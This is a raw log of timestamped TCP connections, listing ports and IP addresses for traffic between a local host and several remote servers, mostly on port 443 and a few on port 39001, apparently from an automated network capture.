Apr 23, 2024 23:02:23.868729115 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.868786097 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.868803978 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:23.868812084 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.868839979 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:23.888602972 CEST	49865	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:23.891231060 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.891284943 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.891321898 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.891333103 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.891359091 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.897700071 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.897931099 CEST	49866	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.897954941 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.898400068 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.898885012 CEST	49866	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.898967981 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.899552107 CEST	49866	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.901875019 CEST	443	49863	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.901916027 CEST	443	49863	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.901923895 CEST	443	49863	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.901938915 CEST	443	49863	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.901947021 CEST	443	49863	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.901962996 CEST	49863	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.901979923 CEST	443	49863	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.901988983 CEST	443	49863	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.901997089 CEST	49863	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.902035952 CEST	49863	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.905103922 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.905405045 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.905415058 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.944127083 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.958899021 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.958934069 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.958944082 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.958982944 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.958996058 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.959007978 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.959039927 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.959052086 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.959065914 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.959076881 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.959109068 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.962028980 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:23.963639021 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.963653088 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.963679075 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.963694096 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.963696957 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.963718891 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.963782072 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.963974953 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.964266062 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.964293003 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.964328051 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.964343071 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.964356899 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.974762917 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:23.974777937 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:23.975317955 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:23.975997925 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:23.976088047 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:23.976227999 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:23.976303101 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.976342916 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.976356030 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.976365089 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.976372004 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.976402044 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.976418972 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.990988970 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.991028070 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.991064072 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:23.991076946 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.991105080 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:23.991744995 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.991776943 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.991790056 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.991799116 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:23.991811037 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.991825104 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.991835117 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:23.991854906 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:23.991911888 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.991950989 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.991985083 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:23.991991997 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.992017031 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:23.992049932 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.992069006 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.992103100 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:23.992110014 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.992126942 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:23.996262074 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.996284008 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.996326923 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.996328115 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.996359110 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.996364117 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.996377945 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.996382952 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.996400118 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.996406078 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.996431112 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.996443033 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.996475935 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.002079010 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.002100945 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.002142906 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.002144098 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.002181053 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.002187014 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.002218008 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.002243042 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.002249002 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.005446911 CEST	443	49863	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.005456924 CEST	443	49863	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.005522013 CEST	49863	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.005558968 CEST	49863	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.005564928 CEST	443	49863	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.010061026 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.010080099 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.010097027 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.010113001 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.010150909 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.010157108 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.014698029 CEST	443	49863	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.014750957 CEST	49863	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.014758110 CEST	443	49863	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.014784098 CEST	443	49863	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.014853001 CEST	49863	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.015249014 CEST	49863	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.015256882 CEST	443	49863	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.018695116 CEST	49869	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.018712997 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.018963099 CEST	49869	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.019192934 CEST	49869	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.019205093 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.020140886 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.021734953 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.021775961 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.021797895 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.021817923 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.021908998 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.021914959 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.021966934 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.022028923 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.023370981 CEST	49862	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.023382902 CEST	443	49862	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.025705099 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.025747061 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.025779963 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.025791883 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.025824070 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.026010036 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.026062012 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.030544043 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.031750917 CEST	49868	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.031764030 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.032799959 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.035887957 CEST	49868	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.035974979 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.036046982 CEST	49868	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.038927078 CEST	49870	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.038950920 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.039228916 CEST	49860	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.039235115 CEST	443	49860	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.039268017 CEST	49870	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.039789915 CEST	49870	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.039802074 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.052325964 CEST	49871	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.052347898 CEST	443	49871	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.052412987 CEST	49871	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.052671909 CEST	49871	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.052685976 CEST	443	49871	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.061460018 CEST	443	49865	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.061891079 CEST	443	49865	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.061992884 CEST	49865	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.062501907 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.062525988 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.062576056 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.062599897 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.076914072 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:24.077095032 CEST	39001	49859	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:24.077136040 CEST	49868	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.077166080 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.077194929 CEST	49859	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:24.078336954 CEST	49859	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:24.094991922 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.095038891 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.095087051 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.095113039 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.095139027 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.097103119 CEST	49865	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.097116947 CEST	443	49865	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.108818054 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.108918905 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.108942986 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.113950014 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:24.113969088 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:24.114011049 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:24.114041090 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:24.114042997 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:24.114069939 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:24.114097118 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:24.114110947 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:24.114577055 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:24.114613056 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:24.114648104 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:24.114670992 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:24.114676952 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:24.114710093 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:24.114722967 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:24.114732981 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:24.114773989 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:24.116004944 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:24.116013050 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:24.119304895 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.119345903 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.119364977 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.119406939 CEST	49866	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.119437933 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.119455099 CEST	49866	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.119488001 CEST	49866	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.168349028 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.168395042 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.168426991 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.168435097 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.168454885 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.168469906 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.168489933 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.184520960 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.184561014 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.184572935 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.184616089 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.184650898 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.184672117 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.185272932 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:24.185329914 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:24.185350895 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:24.185389996 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:24.185427904 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:24.185430050 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:24.185430050 CEST	49872	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.185430050 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.185488939 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:24.185534954 CEST	443	49872	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.185566902 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:24.185566902 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:24.185566902 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:24.185575962 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:24.185595036 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:24.185614109 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:24.185642958 CEST	49872	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.185642958 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:24.185646057 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:24.185708046 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:24.185708046 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:24.185723066 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:24.186217070 CEST	49872	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.186230898 CEST	443	49872	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.186244011 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:24.194983959 CEST	49873	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:24.210290909 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.210326910 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.210365057 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.210393906 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.210450888 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.210464954 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.210561037 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.222980976 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.223064899 CEST	49866	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.223078012 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.225905895 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.225965023 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.226007938 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.226041079 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.226147890 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.226205111 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.226691008 CEST	49864	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.226715088 CEST	443	49864	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.232598066 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.232754946 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.232865095 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.232908964 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.232923031 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.233292103 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.235899925 CEST	49874	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.235909939 CEST	443	49874	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.235965967 CEST	49874	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.236015081 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.236258030 CEST	49874	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.236270905 CEST	443	49874	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.236886024 CEST	49869	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.236892939 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.237369061 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.238306999 CEST	49869	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.238406897 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.238444090 CEST	49869	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.239640951 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.239741087 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.239770889 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.239789009 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.239834070 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.247061014 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.247134924 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.247159958 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.247240067 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.254606009 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.254889965 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.254901886 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.255001068 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.255064011 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.255100965 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.255119085 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.255131960 CEST	49868	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.255141020 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.255167961 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.255176067 CEST	49868	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.255207062 CEST	49868	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.255445957 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.255467892 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.255479097 CEST	49868	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.255511045 CEST	49866	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.255546093 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.255574942 CEST	49866	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.261370897 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.261637926 CEST	49870	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.261647940 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.262047052 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.262113094 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.262161016 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.262170076 CEST	443	49867	172.253.124.104	192.168.2.4
